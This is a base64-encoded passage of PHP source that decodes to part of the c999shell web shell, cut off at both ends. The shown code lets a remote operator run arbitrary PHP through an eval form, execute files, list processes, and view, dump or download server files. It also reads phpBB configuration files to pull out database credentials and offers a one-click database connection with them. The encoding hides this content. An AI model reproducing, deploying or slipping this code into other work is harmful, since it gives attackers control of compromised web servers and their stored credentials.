IHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQogICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykKICAgewogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7fQogICB9CiAgICRwcmNzID0gYXJyYXkoKTsKICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQogICB7CiAgICBpZiAoIWVtcHR5KCRsaW5lKSkKICAgIHsKICAgICBlY2hvICI8dHI+IjsKICAgICAkbGluZSA9IGV4cGxvZGUoIiIsJGxpbmUpOwogICAgICRsaW5lWzFdID0gaW50dmFsKCRsaW5lWzFdKTsgJGxpbmVbMl0gPSAkbGluZVszXTsgdW5zZXQoJGxpbmVbM10pOwogICAgICRsaW5lWzJdID0gaW50dmFsKHN0cl9yZXBsYWNlKCIgIiwiIiwkbGluZVsyXSkpKjEwMjQ7IAogICAgICRwcmNzW10gPSAkbGluZTsKICAgICBlY2hvICI8L3RyPiI7CiAgICB9CiAgIH0KICB9CiAgJGhlYWRbJGtdID0gIjxiPiIuJGhlYWRbJGtdLiI8L2I+Ii4keTsKICAkdiA9ICRwcm9jZXNzZXNfc29ydFswXTsKICB1c29ydCgkcHJjcywidGFic29ydCIpOwogIGlmICgkcHJvY2Vzc2VzX3NvcnRbMV0gPT0gImQiKSB7JHByY3MgPSBhcnJheV9yZXZlcnNlKCRwcmNzKTt9CiAgJHRhYiA9IGFycmF5KCk7CiAgJHRhYltdID0gJGhlYWQ7CiAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsJHByY3MpOwogIGVjaG8gIjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj1cIiNDMEMwQzBcIj4iOwogIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspCiAgewogICBlY2hvICI8dHI+IjsKICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHtpZiAoJHdpbiBhbmQgJGkgPiAwIGFuZCAkaiA9PSAyKSB7JHYgPSB2aWV3X3NpemUoJHYpO30gZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9CiAgIGVjaG8gIjwvdHI+IjsKICB9CiAgZWNobyAiPC90YWJsZT4iOwogfQp9CmlmICgkYWN0ID09ICJldmFsIikKewogaWYgKCFlbXB0eSgkZXZhbCkpCiB7CiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIFBIUC1jb2RlPC9iPjo8YnI+IjsKICAkdG1wID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7CiAgQGNoZGlyKCRkKTsKICBpZiAoJHRtcCkKICB7CiAgIG9iX2NsZWFuKCk7CiAgIGV2YWwoJGV2YWwpOwogICAkcmV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsKICAgb2JfY2xlYW4oKTsKICAgZWNobyAkdG1wOwogICBpZiAoJGV2YWxfdHh0KQogICB7CiAgICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOwogICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsKICAgfQogICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30KICB9CiAgZWxzZQogIHsKICAgaWYgKCRldmFsX3R4dCkKICAgewogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsKICAgIGV2YWwoJGV2YWwpOwogICAgZWNobyAiPC90ZXh0YXJlYT4iOwogICB9CiAgIGVsc2Uge2VjaG8gJHJldDt9CiAgfQogIEBjaGRpcigkb2xkZGlyKTsKIH0KIGVsc2Uge2VjaG8gIjxiPkV4ZWN1dGlvbiBQSFAtY29kZTwvYj4iOyBpZiAoZW1wdHkoJGV2YWxfdHh0KSkgeyRldmFsX3R4dCA9IFRSVUU7fX0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1ldmFsPjx0ZXh0YXJlYSBuYW1lPVwiZXZhbFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRldmFsX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsKfQppZiAoJGFjdCA9PSAiZiIpCnsKIGlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0IikKIHsKICBpZiAoZmlsZV9leGlzdHMoJGQuJGYpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVkICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48L2NlbnRlcj4iO30KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPkZpbGUgZG9lcyBub3QgZXhpc3RzICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iJmM9MVwiPjx1PkNyZWF0ZTwvdT48L2E+PC9jZW50ZXI+Ijt9CiB9CiBlbHNlCiB7CiAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOwogICRleHQgPSBleHBsb2RlKCIuIiwkZik7CiAgJGMgPSBjb3VudCgkZXh0KS0xOwogICRleHQgPSAkZXh0WyRjXTsKICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAkcmZ0ID0gIiI7CiAgZm9yZWFjaCgkZnR5cGVzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fX0KICBpZiAoZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9CiAgaWYgKGVtcHR5KCRmdCkpIHskZnQgPSAkcmZ0O30KICAkYXJyID0gYXJyYXkoCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwiaW5mbyIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfaHRtbFwiIGJvcmRlcj1cIjBcIj4iLCJodG1sIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF90eHRcIiBib3JkZXI9XCIwXCI+IiwidHh0IiksCiAgIGFycmF5KCJDb2RlIiwiY29kZSIpLAogICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2V4ZVwiIGJvcmRlcj1cIjBcIj4iLCJleGUiKSwKICAgYXJyYXkoIlNEQiIsInNkYiIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZ2lmXCIgYm9yZGVyPVwiMFwiPiIsImltZyIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfaW5pXCIgYm9yZGVyPVwiMFwiPiIsImluaSIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLCJkb3dubG9hZCIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfcnRmXCIgYm9yZGVyPVwiMFwiPiIsIm5vdGVwYWQiKSwKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIgYm9yZGVyPVwiMFwiPiIsImVkaXQiKQogICk7CiAgZWNobyAiPGI+Vmlld2luZyBmaWxlOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2I+PGJyPlNlbGVjdCBhY3Rpb24vZmlsZS10eXBlOjxicj4iOwogIGZvcmVhY2goJGFyciBhcyAkdCkKICB7CiAgIGlmICgkdFsxXSA9PSAkcmZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30KICAgZWxzZWlmICgkdFsxXSA9PSAkZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzBdLiI8L3U+PC9iPjwvYT4iO30KICAgZWxzZSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii4kdFswXS4iPC9iPjwvYT4iO30KICAgZWNobyAiICg8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4pIHwiOwogIH0KICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgaWYgKCRmdCA9PSAiaW5mbyIpCiAgewogICBlY2hvICI8Yj5JbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxiPlBhdGg8L2I+PC90ZD48dGQ+ICIuJGQuJGYuIjwvdGQ+PC90cj48dHI+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+ICIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1ENTwvYj48L3RkPjx0ZD4gIi5tZDVfZmlsZSgkZC4kZikuIjwvdGQ+PC90cj4iOwogICBpZiAoISR3aW4pCiAgIHsKICAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7ICAgIAogICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7CiAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsKICAgIGVjaG8gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZC4kZikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkLiRmKSk7CiAgIH0KICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii51cmxlbmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKICAgJGZpID0gZm9wZW4oJGQuJGYsInJiIik7CiAgIGlmICgkZmkpCiAgIHsKICAgIGlmICgkZnVsbGhleGR1bXApIHtlY2hvICI8Yj5GVUxMIEhFWERVTVA8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSxmaWxlc2l6ZSgkZC4kZikpO30KICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30KICAgICRuID0gMDsKICAgICRhMCA9ICIwMDAwMDAwMDxicj4iOwogICAgJGExID0gIiI7CiAgICAkYTIgPSAiIjsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRzdHIpOyAkaSsrKQogICAgewogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7CiAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKQogICAgIHsKICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOwogICAgICBjYXNlIDMyOgogICAgICBjYXNlIDEwOgogICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOwogICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7CiAgICAgfQogICAgICRuKys7CiAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpCiAgICAgewogICAgICAkbiA9IDA7CiAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9CiAgICAgICRhMSAuPSAiPGJyPiI7CiAgICAgICRhMiAuPSAiPGJyPiI7CiAgICAgfQogICAgfQogICAgLy9pZiAoJGExICE9ICIiKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKS4iPGJyPiI7fQogICAgZWNobyAiPHRhYmxlIGJvcmRlcj0wIGJnY29sb3I9IzY2NjY2NiBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTQ+PHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGExLiI8L3RkPjx0ZCBiZ2NvbG9yPTAwMDAwMD4iLiRhMi4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiAgIH0KICAgJGVuY29kZWQgPSAiIjsKICAgaWYgKCRiYXNlNjQgPT0gMSkKICAgewogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDIpCiAgIHsKICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9PSAzKQogICB7CiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7CiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsKICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9PSA0KQogICB7CiAgICAkdGV4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsKICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4dCk7CiAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsKICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNvZGVkKSAhPSAkdGV4dCkge2VjaG8gIiAoZmFpbGVkKSI7fQogICAgZWNobyAiPC9iPjxicj4iOwogICB9CiAgIGlmICghZW1wdHkoJGVuY29kZWQpKQogICB7CiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOwogICB9CiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPgo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+K2NodW5rPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4KPFA+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKQogIHsKICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30KICAgZWNobyAkcjsKICAgaWYgKCR3aGl0ZSkge2M5OTlzaGV4aXQoKTt9CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsVFJVRSkpOyBlY2hvICI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAicGhwc2VzcyIpCiAgewogICBlY2hvICI8cHJlPiI7CiAgICR2ID0gZXhwbG9kZSgifCIsJHIpOwogICBlY2hvICR2WzBdLiI8YnI+IjsKICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsKICAgZWNobyAiPC9wcmU+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImV4ZSIpCiAgewogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOwogICAkYyA9IGNvdW50KCRleHQpLTE7CiAgICRleHQgPSAkZXh0WyRjXTsKICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7CiAgICRyZnQgPSAiIjsKICAgZm9yZWFjaCgkZXhlZnR5cGVzIGFzICRrPT4kdikKICAgewogICAgaWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9CiAgIH0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOwogICBlY2hvICI8Yj5FeGVjdXRlIGZpbGU6PC9iPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gInNkYiIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVjaG8gIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikKICB7CiAgIGlmIChlcmVnKCJwaHAiLiJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCRyKSkKICAgewogICAgJGFyciA9IGV4cGxvZGUoIlxuIiwkcik7CiAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpCiAgICB7CiAgICAgaW5jbHVkZSgkZC4kZik7CiAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7CiAgICAgaWYgKCRkYm1zID09ICJteXNxbDQiKSB7JGRibXMgPSAibXlzcWwiO30KICAgICBpZiAoJGRibXMgPT0gIm15c3FsIikge2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQogICAgIGVsc2Uge2VjaG8gIkJ1dCwgeW91IGNhbid0IGNvbm5lY3QgdG8gZm9ydW0gc3FsLWJhc2UsIGJlY2F1c2UgZGItc29mdHdhcmU9XCIiLiRkYm1zLiJcIiBpcyBub3Qgc3VwcG9ydGVkIGJ5IGM5OTlzaGVsbC4gUGxlYXNlLCByZXBvcnQgdXMgZm9yIGZpeC4iO30KICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsKICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhvc3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dkKTsKICAgICBmb3JlYWNoICgkY2ZndmFycyBhcyAkaz0+JHYpIHtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGspLiI9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic8YnI+Ijt9CiAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIH0KICAgfQogICBlY2hvICI8ZGl2IHN0eWxlPVwiYm9yZGVyIDogMHB4IHNvbGlkICNGRkZGRkY7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiAxZW07IG1hcmdpbi1yaWdodDogMWVtOyBtYXJnaW4tbGVmdDogMWVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAiLiRoaWdobGlnaHRfYmFja2dyb3VuZCAuIjtcIj4iOwogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9CiAgIGhpZ2hsaWdodF9maWxlKCRkLiRmKTsKICAgaWYgKCFlbXB0eSgkd2hpdGUpKSB7Yzk5OXNoZXhpdCgpO30KICAgZWNobyAiPC9kaXY+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikKICB7CiAgIEBvYl9jbGVhbigpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGQuJGYpKTsKICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOwogICBlY2hvICRyOwogICBleGl0OwogIH0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpCiAgewogICBAb2JfY2xlYW4oKTsKICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsKICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIi50eHRcIjsiKTsKICAgZWNobygkcik7CiAgIGV4aXQ7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJpbWciKQogIHsKICAgJGluZiA9IGdldGltYWdlc2l6ZSgkZC4kZik7CiAgIGlmICghJHdoaXRlKQogICB7CiAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9CiAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsKICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsKICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsKICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7CiAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpCiAgICB7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwu